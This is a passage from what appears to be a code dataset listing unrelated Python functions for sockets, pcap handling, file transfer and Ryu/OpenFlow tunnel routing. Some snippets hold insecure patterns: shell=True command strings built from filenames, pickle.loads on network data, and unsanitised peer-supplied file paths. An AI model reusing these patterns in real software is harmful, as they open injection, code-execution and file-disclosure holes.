p['Ethernet'].type\\n\\t\\tUnhandledPacket(p)\",\n \"def test_read_from_file(self):\\n test = Server()\\n test.cur_dir = os.getcwd()\\n inputs = [['read_file', 'test_file.txt'],\\n ['read_file', 'test_file.txt'],\\n ['read_file', None],\\n ['read_file', 'test_file.txt'] ]\\n response = ['Hello, this is a test file.',\\n 'Message:The file is read completely. Nothing more to read from this file',\\n 'name of the file should be given',\\n 'Hello, this is a test file.']\\n res = []\\n for val in inputs:\\n res.append(test.read_from_file(val))\\n # print(\\\"****************************************\\\")\\n # print(res)\\n self.assertListEqual(res, response)\",\n \"def create_pcap_req(self, input_pkt_list, input_if_idx,\\n receive, output_if_idx):\\n req_file = self.get_req_file_name()\\n # create the pcap files first\\n self.input_pcap_file = req_file + \\\".input.pcap\\\"\\n wrpcap(self.input_pcap_file, input_pkt_list)\\n inp_pcap_filestr_list = self.input_pcap_file.split(\\\"/\\\")\\n inp_pcap_filestr = inp_pcap_filestr_list[len(\\n inp_pcap_filestr_list) - 1]\\n if (receive is True):\\n self.output_pcap_file = req_file + \\\".output.pcap\\\"\\n out_pcap_filestr_list = self.output_pcap_file.split(\\\"/\\\")\\n out_pcap_filestr = \\\\\\n out_pcap_filestr_list[len(out_pcap_filestr_list) - 1]\\n\\n # write the request file now\\n hdr = \\\"<?xml version=\\\\\\\"1.0\\\\\\\"?><test><test_name>\\\" +\\\\\\n \\\"pkt test</test_name><packet>\\\"\\n footer = \\\"</packet></test>\\\"\\n\\n with open(req_file, 'w') as fh:\\n try:\\n fh.write(hdr)\\n fh.write(\\\"<pcap_input_file>\\\" + inp_pcap_filestr +\\n \\\"</pcap_input_file>\\\\n\\\")\\n if (receive is True):\\n fh.write(\\\"<pcap_output_file>\\\" + out_pcap_filestr\\n + \\\"</pcap_output_file>\\\\n\\\")\\n fh.write(\\\"<tx_interface> <vif_index>\\\" + input_if_idx\\n + \\\"</vif_index></tx_interface>\\\\n\\\")\\n if (receive is True):\\n fh.write(\\\"<rx_interface> <vif_index>\\\" + output_if_idx +\\n \\\"</vif_index> </rx_interface>\\\\n\\\")\\n fh.write(footer)\\n except Exception as e:\\n self.logger.error(\\\"Failed to write pcap req file\\\")\\n self.logger.error(e)\\n return None\\n try:\\n subprocess.call(\\\"xmllint --format \\\" + req_file +\\n \\\" --output \\\" + req_file, shell=True)\\n except Exception as e:\\n self.logger.error(e)\\n self.logger.error(\\\"Failed to format xml output\\\")\\n return None\\n return req_file\",\n \"def _packet_in(self, ev):\\n\\n dp = ev.msg.datapath\\n ofp = dp.ofproto\\n parser = dp.ofproto_parser\\n match = ev.msg.match\\n\\n ##SNDCP packet with multiple fragments recieved - print warning, send ICMP fragmentation needed\\n ##TODO: Not WOrking correctly\\n ## File \\\"/usr/local/lib/python2.7/dist-packages/ryu/ofproto/ofproto_v1_3_parser.py\\\", line 746, in __getitem__\\n ## return dict(self._fields2)[key]\\n ## KeyError: 'udp_dst'\\n\\n # if (match['eth_type'] == 0x0800 and match['ip_proto'] == inet.IPPROTO_UDP\\n # and match['udp_dst'] == VGSN_PORT and match['sndcp_first_segment'] == 1\\n # and match['sndcp_more_segments'] == 1):\\n # _icmp_send(dp,match['in_port'],match['ipv4_dst'],match['ipv4_src'],match['eth_dst'],match['eth_src'],icmp_type=3,icmp_code=4)\\n # LOG.warning('WARNING: Device with IP: '+match['ipv4_src']+' sent fragmented sndcp packet')\\n # return\\n\\n ##ARP request recieved - send 'I'm here' response\\n if match['eth_type'] == 0x0806 and match['arp_op'] == 1:\\n LOG.debug(\\\"ARP request accepted\\\")\\n _arp_send(dp=dp, port_out=match['in_port'], arp_code=2, eth_dst=match['eth_src'], eth_target=match['arp_sha'],\\n ip_target=match['arp_spa'], ip_sender=match['arp_tpa'])\\n LOG.debug('Reply to '+match['arp_spa'] +': Host '+match['arp_tpa']+' is at forwarder '+str(dp.id) + \\\" with ethX source MAC address\\\")\\n return\\n\\n ##ARP response with target_ip==DISCOVERY_ARP_IP recieved - we found APN\\n #\\n # FIXED: All ARP responses are replied, regardless of the target IP\\n #\\n # TODO : At this point only ARPs belonging to the APNs networks subnet should\\n # be answered\\n if match['eth_type'] == 0x0806 and match['arp_op'] == 2:\\n LOG.debug('TUNNEL MNGR: ARP response with target APN discovery IP recieved at controller, processing for APN extraction')\\n pkt = packet.Packet(array.array('B', ev.msg.data))\\n arp_pkt=pkt.get_protocol(arp.arp)\\n apn_ip = arp_pkt.src_ip\\n apn_mac= arp_pkt.src_mac\\n port = match['in_port']\\n\\n ##Search for apn in APN_POOL to add mac addr. and update topology\\n for sApn in APN_POOL:\\n if sApn.ip_addr == apn_ip:\\n LOG.debug('Recieved ARP response was from ' + sApn.name + ' APN')\\n sApn.eth_addr = apn_mac\\n sApn.port = port\\n sApn.dpid = dp.id\\n # Links towards APNs will not be measured\\n topo.add_link(dp.id,str(sApn.name),port)\\n topo.add_link(str(sApn.name),dp.id,0)\\n topo.reload_topology()\\n LOG.debug('TUNNEL MNGR: APN '+str(sApn.name)+' found at forwarder: '+str(dp.id)+', port: '+str(port) + ' by ARP search')\\n\\n ##Add special rules to edge forwarder\\n self.on_edge_inet_dp_join(dp, port, sApn)\\n\\n # FIX: We do not handle bss as a special APN\\n # For greater extensibility, BSS/UTRAN/LAN APNs (exit/enter) points\\n # will be handled in a generic manner\\n #\\n ##Create MAC-tunnels between APN and all BSSs\\n #for bss in BSS_POOL:\\n # self.add_tunnel(bss,apn)\\n #break\\n\\n ### WMNC: In this case, we are not making tunnels between\\n # two types of ingress/egress point, but actually same type\\n\\n for dApn in APN_POOL:\\n # we are cycling through all possible APNs, looking for different APN tupples\\n # with filled HW addresses (already found by APN search)\\n if sApn != dApn and dApn.eth_addr != None:\\n LOG.debug('TUNNEL MNGR: Different APNs with filled HW address found, lets find out if there is tunnel between them')\\n\\n paths = False\\n try:\\n paths = nx.all_simple_paths(topo.DynamicGraph, source=sApn.name, target=dApn.name)\\n except:\\n LOG.debug('TUNNEL MNGR: No path between: ' + sApn.name + ' and ' + dApn.name + '. Retry when next APN discovered.')\\n\\n LOG.debug('TUNNEL MNGR: These are the paths between them (possible tunnels):')\\n if paths:\\n for path in paths:\\n LOG.debug('TUNNEL MNGR: Calling add_plainMacTunnel for ' + sApn.name + ' and ' + dApn.name + ' with path: ' + str(path))\\n self.add_plainMacTunnel(sApn, dApn, path)\\n else:\\n LOG.debug('TUNNEL MNGR: PATHS == 0 ????????????????')\\n\\n\\n return\\n\\n ##ICMP echo with dst_ip==DISCOVERY_IP_DST recieved - new link between forwarders is up\\n if match['eth_type'] == 0x0800 and match['ipv4_dst'] == DISCOVERY_IP_DST and match['ip_proto'] == 1:\\n #LOG.debug('TOPO MNGR: ICMP echo recieved at controller, processing for link extraction or latency measurement')\\n\\n pkt = packet.Packet(array.array('B', ev.msg.data))\\n\\n ##Discovery pings carry information about sending datapath in payload of icmp packet\\n ##these information are in Dictionary format, we parse the out with _icmp_parse_payload() method\\n body = _icmp_parse_payload(pkt)\\n neighbourDPID=body['dpid']\\n neighbourPort=body['port_out']\\n\\n ## measurement\\n ## currentClock moved way up to improve precision\\n receivedClock=float(body['clock'])\\n currentClock = time.clock()\\n latency = currentClock - receivedClock\\n\\n currentDate = datetime.datetime.now().strftime(\\\"%Y-%m-%d %H:%M:%S\\\")\\n\\n ##Update latency or add new edges to topology.\\n if topo.DynamicGraph.has_edge(dp.id, neighbourDPID) and topo.DynamicGraph.has_edge(neighbourDPID, dp.id):\\n topo.StaticGraph[neighbourDPID][dp.id]['pdv'] = topo.StaticGraph[neighbourDPID][dp.id]['lat'] - latency\\n topo.StaticGraph[neighbourDPID][dp.id]['lat'] = latency\\n topo.StaticGraph[neighbourDPID][dp.id]['upt'] = currentDate\\n #topo.StaticGraph[neighbourDPID][dp.id]['upt'] = currentDate\\n loss = self.loss_update(neighbourDPID, dp.id, currentDate)\\n #LOG.debug('TOPO MNGR: Updating latency ' + str(latency) + ' and date ' + str(currentDate) + ' LOSS: ' + str(loss))\\n topo.reload_topology()\\n else:\\n ## latency not correct for both directions when adding links\\n ## update occurs on receive of next measurement packet from oposite direction\\n topo.add_link(dp.id, neighbourDPID, ev.msg.match['in_port'], latency, currentDate)\\n topo.add_link(neighbourDPID, dp.id, neighbourPort , latency, currentDate)\\n LOG.debug('TOPO MNGR: Topology changed: New link between forwarder ID '+str(dp.id)+ ' via port ' + str(ev.msg.match['in_port'])\\n +' and forwarder ID '+str(neighbourDPID)+ ' via port ' + str(neighbourPort) + ' was discovered.')\\n\\n topo.reload_topology()\\n ## retry to create tunnels\\n ## find better paths between APNs\\n for sApn in APN_POOL:\\n for dApn in APN_POOL:\\n if sApn != dApn:\\n LOG.debug('TOPO MNGR: Topology changed: trying to re-build inactive tunnel between:' + sApn.name + ' and ' + dApn.name)\\n paths = False\\n try:\\n paths = nx.all_simple_paths(topo.DynamicGraph, source=sApn.name, target=dApn.name)\\n except:\\n LOG.debug('No path between: ' + sApn.name + ' and ' + dApn.name + '. Retry when next fwd connects.')\\n\\n LOG.debug('TUNNEL MNGR: These are the paths between them (possible tunnels):')\\n if paths:\\n for path in paths:\\n LOG.debug('TUNNEL MNGR: Calling add_plainMacTunnel for ' + sApn.name + ' and ' + dApn.name + ' with path: ' + str(path))\\n self.add_plainMacTunnel(sApn, dApn, path)\\n else:\\n LOG.debug('TUNNEL MNGR: PATHS == 0 ????????????????')\\n return\\n\\n # flow of last resort (process for routing)\\n if match['eth_type'] == 0x0800:\\n # LOG.debug('*****************Flow of last resort matched(plain IP), process for routing********'\\n # + ' match[ipv4_dst]: ' + str(match['ipv4_dst'] + ' match[ipv4_src]: ' + str(match['ipv4_src']) + ' DSCP: ' + str(match['ip_dscp'])))\\n ## Not very proud of myself, but it will do the trick\\n ## Turbo lumberjack routing logic\\n ## TODO: Implement a longest prefix match routing\\n\\n candidates = []\\n\\n for source, destination, ip_dscp in routesList:\\n if ((source == match['ipv4_dst'] and destination == match['ipv4_src']) or (source == match['ipv4_src'] and destination == match['ipv4_dst'])) and ip_dscp == match['ip_dscp']:\\n # LOG.debug('ROUTING: route source: ' + str(source) + 'destination: ' + str(destination)\\n # + ' match[ipv4_dst]: ' + str(match['ipv4_dst'])\\n # + ' match[ipv4_src]: ' + str(match['ipv4_src']) + ' DSCP: ' + str(ip_dscp)\\n # + ' already exists, aborting addition of new route')\\n return\\n\\n for tunnel in TUNNELS:\\n if (tunnel.sApn.ip_addr == match['ipv4_dst'] and tunnel.dApn.ip_addr == match['ipv4_src']) or (tunnel.sApn.ip_addr == match['ipv4_src'] and tunnel.dApn.ip_addr == match['ipv4_dst']):\\n LOG.debug('ROUTING: Tunnel candidate found in list of tunnels. Adding tunnel path: ' + str(tunnel.po_edges) + ' to candidates.')\\n candidates.append(tunnel)\\n\\n trafficClass = self.TC_selection(match['ip_dscp'])\\n\\n if len(candidates) == 0:\\n LOG.debug('ROUTING: match[ipv4_dst]: ' + str(match['ipv4_dst'])\\n + ' match[ipv4_src]: ' + str(match['ipv4_src']) + ' DSCP: ' + str(match['ip_dscp']))\\n LOG.debug('ROUTING: ERROR, NO feasible tunnels for such route.')\\n return\\n\\n LOG.debug('Looking for tunnels: DST_IP: ' + match['ipv4_dst'] + ' SRC_IP: ' + match['ipv4_src'] + ' DSCP: ' + str(match['ip_dscp']) + '(traffic class: ' + str(trafficClass) + ')' + ' Incoming from FWD: ' + str(dp.id))\\n tunnel = self.tunnel_selection(trafficClass, candidates)\\n LOG.debug('TE MNGR: Selected tunnel Path out: ' + str(tunnel.path_out_str) + ' meter_id: ' + str(tunnel.meter_id))\\n\\n dscp = match['ip_dscp']\\n\\n ## meter_id\\n ## 2,4,6,8,10 = 500kbps, 1,3,5,7,9 = 1000kbps ...\\n ## 0 = 100Gbps\\n meter_id = tunnel.meter_id\\n\\n #\\n # FIXME: incomplete set of rules installed on LAN Access forwarders\\n # TODO : Philosophy of table IDs should be clarified, as now it total mess!!!\\n # TODO : this should be done only once, from that moment, all user plane packets\\n # should travelse only forwarder and should not be sent to controller\\n\\n\\n\\n #WAY OUT\\n dp = dpset.get(tunnel.sApn.dpid)\\n parser = dp.ofproto_parser\\n ofp = dp.ofproto\\n match = parser.OFPMatch (eth_type=0x0800, ipv4_dst=tunnel.dApn.ip_addr, ip_dscp=dscp)\\n actions = [parser.OFPActionSetField(eth_src=tunnel.tid_in), parser.OFPActionSetField(eth_dst=tunnel.tid_out)]\\n inst = [parser.OFPInstructionGotoTable(MAC_TUNNEL_TABLE), parser.OFPInstructionMeter(meter_id), parser.OFPInstructionActions(ofp.OFPIT_APPLY_ACTIONS, actions)]\\n req = parser.OFPFlowMod(datapath=dp, priority=100, match=match, instructions=inst, table_id=INGRESS_TABLE)\\n dp.send_msg(req)\\n\\n LOG.debug('ROUTING: Installing flow ON WAY OUT to forwarderID: ' + str(dp.id) + ',Table: ' + str(INGRESS_TABLE) + ' DP ID: ' + str(tunnel.dApn.dpid) + ' Tunel dApn IP addr: ' + str(tunnel.dApn.ip_addr) + ' Tunnel ID: ' + str(tunnel.tid_out))\\n\\n dp = dpset.get(tunnel.dApn.dpid)\\n parser = dp.ofproto_parser\\n ofp = dp.ofproto\\n match = parser.OFPMatch (eth_dst=tunnel.tid_out)\\n actions = [parser.OFPActionSetField(eth_dst=tunnel.dApn.eth_addr), parser.OFPActionOutput(tunnel.path_out[-1].port_out)]\\n inst = [parser.OFPInstructionActions(ofp.OFPIT_APPLY_ACTIONS, actions)]\\n req = parser.OFPFlowMod(datapath=dp, priority=300, match=match, instructions=inst, table_id=ACCESS_ADAPTATION_TABLE_OUT)\\n dp.send_msg(req)\\n LOG.debug('ROUTING: Installing flow ON WAY OUT to forwarderID: ' + str(dp.id) + ',Table: ' + str(ACCESS_ADAPTATION_TABLE_OUT) + ' DP ID: ' + str(tunnel.dApn.dpid)+ ' Tunel ID: ' + str(tunnel.tid_out)+ ' dApn ETH addr: ' + str(tunnel.dApn.eth_addr))\\n\\n #WAY IN\\n dp = dpset.get(tunnel.dApn.dpid)\\n parser = dp.ofproto_parser\\n ofp = dp.ofproto\\n match = parser.OFPMatch (eth_type=0x0800, ipv4_dst=tunnel.sApn.ip_addr, ip_dscp=dscp)\\n actions = [parser.OFPActionSetField(eth_dst=tunnel.tid_in), parser.OFPActionSetField(eth_src=tunnel.tid_out)]\\n inst = [parser.OFPInstructionGotoTable(MAC_TUNNEL_TABLE), parser.OFPInstructionMeter(meter_id), parser.OFPInstructionActions(ofp.OFPIT_APPLY_ACTIONS, actions)]\\n req = parser.OFPFlowMod(datapath=dp, priority=100, match=match, instructions=inst, table_id = INGRESS_TABLE)\\n dp.send_msg(req)\\n LOG.debug('ROUTING: Installing flow ON WAY IN to forwarderID: ' + str(dp.id) + ',Table: ' + str(INGRESS_TABLE) + ' DP ID: ' + str(tunnel.sApn.dpid) + ' Tunel dApn IP addr: ' + str(tunnel.sApn.ip_addr) + ' Tunnel ID: ' + str(tunnel.tid_in))\\n\\n\\n dp = dpset.get(tunnel.sApn.dpid)\\n parser = dp.ofproto_parser\\n ofp = dp.ofproto\\n match = parser.OFPMatch (eth_dst=tunnel.tid_in)\\n actions = [parser.OFPActionSetField(eth_dst=tunnel.sApn.eth_addr), parser.OFPActionOutput(tunnel.path_in[-1].port_out)]\\n inst = [parser.OFPInstructionActions(ofp.OFPIT_APPLY_ACTIONS, actions)]\\n req = parser.OFPFlowMod(datapath=dp, priority=300, match=match, instructions=inst, table_id=ACCESS_ADAPTATION_TABLE_OUT)\\n dp.send_msg(req)\\n LOG.debug('ROUTING: Installing flow ON WAY IN to forwarderID: ' + str(dp.id) + ',Table: ' + str(ACCESS_ADAPTATION_TABLE_OUT) + ' DP ID: ' + str(tunnel.sApn.dpid)+ ' Tunel ID: ' + str(tunnel.tid_in)+ ' sApn ETH addr: ' + str(tunnel.sApn.eth_addr))\\n\\n\\n LOG.debug('ROUTING: Rules on access edge forwarders installed')\\n LOG.debug('ROUTING: Adding route: DST_IP: ' + tunnel.dApn.ip_addr + ' SRC_IP: ' + tunnel.sApn.ip_addr + ' dscp: ' + str(dscp) + ' path out str: ' + tunnel.path_out_str )\\n routesList.append( ( tunnel.sApn.ip_addr, tunnel.dApn.ip_addr, dscp) )\\n\\n parser = dp.ofproto_parser\\n\\n for dpid in LAN_TYPE_FORWARDERS:\\n ## DUNNO why this rule with low priority still hits traffic which is also matched by rules with IP address matches\\n ## Here I delete the rule, it is added on FWD when it connects to controoller\\n LOG.debug('TOPO MNGR: Forwarder: ' + str(dpid) + ' is a LAN edge forwarder, deleting rules')\\n dp = dpset.get(dpid)\\n priority = 2\\n match = parser.OFPMatch(eth_type=0x0800)\\n actions = [parser.OFPActionOutput(ofp.OFPP_CONTROLLER)]\\n self.mod_flow(dp, command=dp.ofproto.OFPFC_DELETE_STRICT,\\n table_id=0, actions=actions,\\n match=match, priority=priority)\\n\\n LOG.debug('TOPO MNGR: Forwarder: ' + str(dp.id) + ' is a LAN edge forwarder, installing rules again :)')\\n match = parser.OFPMatch(eth_type=0x0800)\\n actions = [parser.OFPActionOutput(ofp.OFPP_CONTROLLER)]\\n self.add_flow(dp, 2, match, actions)\",\n \"def process_pcap(self):\\n fp = open(self.pcap, \\\"rb\\\")\\n pkts = dpkt.pcap.Reader(fp)\\n self.process_pkts(pkts)\",\n \"def give_local_file(connected_socket, ip, port):\\n try:\\n connected_socket.sendto(bytes(\\\"give\\\", \\\"UTF-8\\\"), (ip, port))\\n local_path = input(\\\"Path to Local File to Give: \\\")\\n file = open(local_path, \\\"rb\\\") # Open a file in byte mode\\n file_bytes = file.read() # Read all bytes\\n file.close()\\n remote_path = input(\\\"Path to Remote Destination: \\\")\\n give_message = remote_path + \\\" | \\\" + str(len(file_bytes))\\n connected_socket.sendto(bytes(give_message, \\\"UTF-8\\\"), (ip, port))\\n sleep(0.5) # Wait so the remote host has time to process and reply\\n connected_socket.sendto(file_bytes, (ip, port))\\n sleep(0.5) # Wait so the remote host has time to process and reply\\n status_message = connected_socket.recv(BUFFER_SIZE)\\n print(status_message.decode(\\\"UTF-8\\\"))\\n except FileNotFoundError:\\n print(\\\"Error: Local File Not Found\\\")\\n connected_socket.sendto(bytes(\\\"ERROR\\\", \\\"UTF-8\\\"), (ip, port))\",\n \"def write_pkts(self, pkt_list):\\r\\n while True:\\r\\n # wait for the next transmission\\r\\n yield self.wait_sys_clks(1)\\r\\n\\r\\n # send one word at a time\\r\\n if len(pkt_list) == 0:\\r\\n # no more data to send so send blanks\\r\\n tdata = '\\\\x00'*self.bus_width\\r\\n tuser = Tuser(0, 0, 0)\\r\\n msg = AXI_S_message(tdata,0,0,0,tuser)\\r\\n self.out_pipe.put(msg)\\r\\n else:\\r\\n # send packets\\r\\n pkt = pkt_list[0]\\r\\n yield self.env.process(self.send_pkt(pkt))\\r\\n # remove the pkt we just sent from the pkt_list\\r\\n pkt_list = pkt_list[1:]\",\n \"def get_remote_file(connected_socket, ip, port):\\n connected_socket.sendto(bytes(\\\"get\\\", \\\"UTF-8\\\"), (ip, port))\\n remote_path = input(\\\"Path to Remote File to Get: \\\")\\n connected_socket.sendto(bytes(remote_path, \\\"UTF-8\\\"), (ip, port))\\n status_message_bytes = connected_socket.recv(BUFFER_SIZE)\\n status_message = status_message_bytes.decode(\\\"UTF-8\\\")\\n if \\\"Error\\\" not in status_message:\\n file_bytes = bytes()\\n loop = True\\n while loop: # Reads until all bytes of the file have been received\\n try:\\n file_bytes += connected_socket.recv(BUFFER_SIZE)\\n except socket.timeout: # Time out shows that no more data exists in the socket buffer\\n loop = False\\n print(\\\"Expected: \\\" + status_message + \\\" bytes | Found: \\\" + str(len(file_bytes)))\\n local_path = input(\\\"Path to Local Destination: \\\")\\n try:\\n with open(local_path, \\\"wb\\\") as file:\\n file.write(file_bytes)\\n print(\\\"File Saved to \\\" + local_path)\\n except Exception as e:\\n print(e)\\n else:\\n print(status_message)\",\n \"def upload_samples(self, file):\\n result = self._upload_sample(file)\\n if \\\"samples\\\" in result:\\n return result[\\\"samples\\\"]\\n else:\\n return [result]\",\n \"def get_output_pcap_file(self, req_file):\\n # run vtest cmd which will generate output pcap file\\n # and return that file\\n self.run_vtest_command(True, req_file)\\n return self.output_pcap_file\",\n \"def test():\\n from chains.sources import packet_streamer\\n from chains.links import packet_meta\\n from chains.links import reverse_dns\\n from chains.utils import file_utils\\n\\n # Create a PacketStreamer and set its output to PacketSummary input\\n data_path = file_utils.relative_dir(__file__, '../../data/http.pcap')\\n\\n streamer = packet_streamer.PacketStreamer(iface_name=data_path, max_packets=50)\\n meta = packet_meta.PacketMeta()\\n rdns = reverse_dns.ReverseDNS()\\n printer = PacketSummary()\\n\\n # Set up the chain\\n meta.link(streamer)\\n rdns.link(meta)\\n printer.link(rdns)\\n\\n # Pull the chain\\n printer.pull()\",\n \"def tests():\\n\\n global ToartalCount1, ToartalCount2\\n s = initTcpConn()\\n sock, mreq = initUDPconn()\\n s.listen(1)\\n while True:\\n timer = time.time() + 10\\n while time.time() < timer:\\n sock.sendto(mreq, (LocalIP, 13117))\\n time.sleep(1)\\n s.settimeout(0)\\n try:\\n conn, add = s.accept()\\n except:\\n print(\\\"accepting connection faild\\\")\\n conn.setblocking(1)\\n data=conn.recv(BufferSize)\\n print(\\\"hii \\\" + data.decode() + \\\" welcome to the game\\\")\\n try:\\n conn.sendall(\\\"Please Enter what ever you want you have 10 sec\\\".encode())\\n except:\\n print(\\\"sending starting mss faild\\\")\\n timer = time.time() + 10\\n while time.time() < timer:\\n ch = conn.recv(1)\\n count = count + 1\\n print(count)\",\n \"def check_sample_decode(self):\\n sample_size = len(self.sample_decode.sample_decode_list)\\n log_line = \\\"epoch={0}, global step={1}, sample size={2}\\\".format(self.sample_decode_info.epoch,\\n self.sample_decode_info.global_step, sample_size).encode('utf-8')\\n self.log_writer.write(\\\"{0}\\\\r\\\\n\\\".format(log_line))\\n print(log_line)\\n \\n for i, sample_decode in enumerate(self.sample_decode.sample_decode_list):\\n sample_input = sample_decode[\\\"sample_input\\\"]\\n log_line = \\\"sample {0} - input: {1}\\\".format(i+1, sample_input).encode('utf-8')\\n self.log_writer.write(\\\"{0}\\\\r\\\\n\\\".format(log_line))\\n print(log_line)\\n sample_output = sample_decode[\\\"sample_output\\\"]\\n log_line = \\\"sample {0} - output: {1}\\\".format(i+1, sample_output).encode('utf-8')\\n self.log_writer.write(\\\"{0}\\\\r\\\\n\\\".format(log_line))\\n print(log_line)\\n sample_reference = sample_decode[\\\"sample_reference\\\"]\\n log_line = \\\"sample {0} - reference: {1}\\\".format(i+1, sample_reference).encode('utf-8')\\n self.log_writer.write(\\\"{0}\\\\r\\\\n\\\".format(log_line))\\n print(log_line)\",\n \"def send_file(self, file_name):\\n\\n try:\\n dataPort = self.client_socket.recv(1024).decode()\\n print(\\\"[Control] Data port is {}\\\".format(dataPort))\\n\\n # Connect to the data connection\\n dataConnection = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\\n dataConnection.connect((self.client_ip, int(dataPort)))\\n\\n file_size = os.path.getsize(file_name)\\n self.client_socket.sendall(\\n \\\"Exists,{}\\\".format(file_size).encode('utf-8'))\\n\\n while True:\\n recv_data = self.client_socket.recv(1024)\\n request = recv_data.decode('utf-8').strip().split(\\\",\\\")\\n\\n if request[0] == \\\"Ready\\\":\\n print(\\\"Sending file {} to client {}\\\".format(\\n file_name, self.client_ip))\\n\\n with open(file_name, \\\"rb\\\") as file:\\n dataConnection.sendfile(file)\\n elif request[0] == \\\"Received\\\":\\n if int(request[1]) == file_size:\\n self.client_socket.sendall(\\\"Success\\\".encode('utf-8'))\\n print(\\\"{} successfully downloaded to client {}\\\".format(\\n file_name, self.client_ip))\\n break\\n else:\\n print(\\\"Something went wrong trying to download to client {}:{}. Try again\\\".format(\\n self.client_ip, self.client_port))\\n break\\n else:\\n print(\\\"Something went wrong trying to download to client {}:{}. Try again\\\".format(\\n self.client_ip, self.client_port))\\n break\\n except IOError:\\n print(\\\"File {} does not exist on server\\\".format(file_name))\\n self.client_socket.sendall(\\\"Failed\\\".encode('utf-8'))\",\n \"def test_send_file(self):\\n enc_file, add_data = self.send_file(self.nonce1, self.nonce2)\\n self.assertNotEqual(len(add_data.keys()), 0)\",\n \"def test_multi_line_missing_frames():\\n\\n for protocol in LEGACY_PROTOCOLS:\\n p = protocol([])\\n\\n\\n test_case = [\\n \\\"48 6B 10 49 02 01 00 01 02 03 FF\\\",\\n \\\"48 6B 10 49 02 02 04 05 06 07 FF\\\",\\n \\\"48 6B 10 49 02 03 08 09 0A 0B FF\\\",\\n ]\\n\\n for n in range(len(test_case) - 1):\\n sub_test = list(test_case)\\n del sub_test[n]\\n\\n r = p(sub_test)\\n assert len(r) == 0\",\n \"def connectionHandler(con, addr):\\n\\t#get filename\\n\\tmsg = con.recv(260) #260 bytes is the max file length, TODO: add try\\n\\tmsg = pickle.loads(msg)\\n\\t\\n\\t#look for file sent by message\\n\\tsize = 0\\n\\ttry:\\n\\t\\t#print(\\\"Looking for: \\\" + LOCAL_SHARED_FILE_SPACE + \\\"\\\\\\\\\\\" + msg)\\n\\t\\tsize = os.path.getsize(globals.LOCAL_SHARED_FILE_SPACE + \\\"\\\\\\\\\\\" + msg)\\n\\texcept Exception as err:\\n\\t\\tprint(\\\"- Peer Server: client asked for nonexisting file\\\")\\n\\t\\tcon.send(pickle.dumps(0))\\n\\t\\tcon.close()\\n\\t\\treturn 0\\n\\t\\n\\t#do a con.send for the file\\n\\tcon.send(pickle.dumps(str(size))) # TODO: add try\\n\\twith open(globals.LOCAL_SHARED_FILE_SPACE + \\\"\\\\\\\\\\\" + msg, 'rb') as file:\\n\\t\\tcontent = file.read(1024)\\n\\t\\twhile content:\\n\\t\\t\\tcon.send(content)\\n\\t\\t\\t#con.send(pickle.dumps(content))\\n\\t\\t\\tcontent = file.read(1024)\\n\\t\\t\\t\\n\\t#file is sent, close connection\\n\\tcon.shutdown(socket.SHUT_WR)\\n\\tcon.close()\\n\\treturn 0\",\n \"def main(udp_server_socket):\\n shared.logger.debug(\\\"Starting the processor main loop.\\\")\\n while(True):\\n bytesAddressPair = udp_server_socket.recvfrom(1024)\\n\\n \\\"\\\"\\\"this is the actual message\\\"\\\"\\\"\\n message = bytesAddressPair[0]\\n\\n \\\"\\\"\\\"source IP addressed, ignored for now\\\"\\\"\\\"\\n address = bytesAddressPair[1]\\n\\n shared.logger.debug(\\\"Received \\\" + str(message) + \\\"from \\\" + str(address))\\n\\n \\\"\\\"\\\"\\n First, make sure the udp payload is a valid json string.\\n If it is, valid_json is set to True and message contains the JSON object.\\n \\n We do it in one shot since we are much more likely to get valid JSON than not.\\n If not, valid_json is set to False and message is an empty string ''.\\n \\\"\\\"\\\"\\n valid_json_bool, current_client_message = validators.validate_json(message)\\n\\n \\\"\\\"\\\"only validate the schema if the message is a valid json\\\"\\\"\\\"\\n if (valid_json_bool):\\n \\\"\\\"\\\"OK, so it is JSON. Let's make sure it is semantically valid\\\"\\\"\\\"\\n if (validators.validate_json_schema(current_client_message)):\\n shared.logger.debug(\\\"Valid schema detected!\\\")\\n else:\\n shared.logger.error(\\\"Failed schema validation, skipping.\\\")\\n continue # go to the beginning of the while loop\\n else:\\n shared.logger.error(\\\"Could not serialize payload to JSON, skipping.\\\")\\n continue # go to the beginning of the while loop\\n \\n \\\"\\\"\\\"print the received message for debugging purposes\\\"\\\"\\\"\\n shared.logger.debug(current_client_message)\\n \\n \\\"\\\"\\\"\\n Publish the data to blynk.\\n NOTE: we don't know the correct virtual pin, we'll look it up later\\n \\\"\\\"\\\"\\n send_value_to_blynk(current_client_message)\",\n \"def recv_packets(port, n_packets, payload_len, output_file):\\n\\n sock_in = socket.socket(socket.AF_INET, socket.SOCK_DGRAM,\\n socket.IPPROTO_UDP)\\n sock_in.bind(('', port))\\n logger.debug('Client bind port %d' % port)\\n sock_in.settimeout(600) # MARK: 10 mins\\n\\n rev_packets = []\\n try:\\n while len(rev_packets) < n_packets:\\n packet = sock_in.recv(payload_len)\\n recv_time_stmp = time.time()\\n # Strip fulling bytes\\n payload = packet.rstrip(b'a')\\n (packet_n, send_time_stmp) = pickle.loads(payload)\\n latency_us = (recv_time_stmp - send_time_stmp) * 1e6\\n rev_packets.append((packet_n, latency_us))\\n except socket.timeout:\\n logger.error(\\\"Error: Timed out waiting to receive packets\\\")\\n logger.info(\\\"So far had received %d packets\\\" % len(rev_packets))\\n\\n logger.info(\\\"Received %d/%d packets back from server\\\" % (len(rev_packets),\\n n_packets))\\n\\n sock_in.close()\\n # Save latency in a csv file\\n with open(output_file, 'w') as out_file:\\n # out_file.write(\\\"%d\\\\n\\\" % n_packets)\\n for tup in rev_packets:\\n packet_n = tup[0]\\n latency = \\\"%.2f\\\" % tup[1]\\n out_file.write(\\\"%s,%s\\\\n\\\" % (packet_n, latency))\",\n \"def SendPacketsFlags(self) -> TransmitFileOptions:\",\n \"def message_test_case(message_list, expected_results, info_string):\\n global passed_count, failed_count\\n\\n print(\\\"\\\\n\\\\nTEST: {}\\\".format(info_string))\\n print(\\\"\\\\nMessage sequence: {}\\\".format(message_list))\\n\\n sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\\n sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\\n sock.connect((HOST, PORT))\\n\\n for message in message_list:\\n sock.send(message)\\n\\n for expected in expected_results:\\n response = sock.recv(4) # standard length of each message\\n if response != expected:\\n print(\\\"\\\\n\\\\tResult: FAILED.\\\")\\n print(\\\"Expected server response {}, received {}.\\\".format(\\n expected, response))\\n failed_count += 1\\n return\\n\\n print(\\\"\\\\n\\\\tResult: PASSED.\\\\n\\\")\\n passed_count += 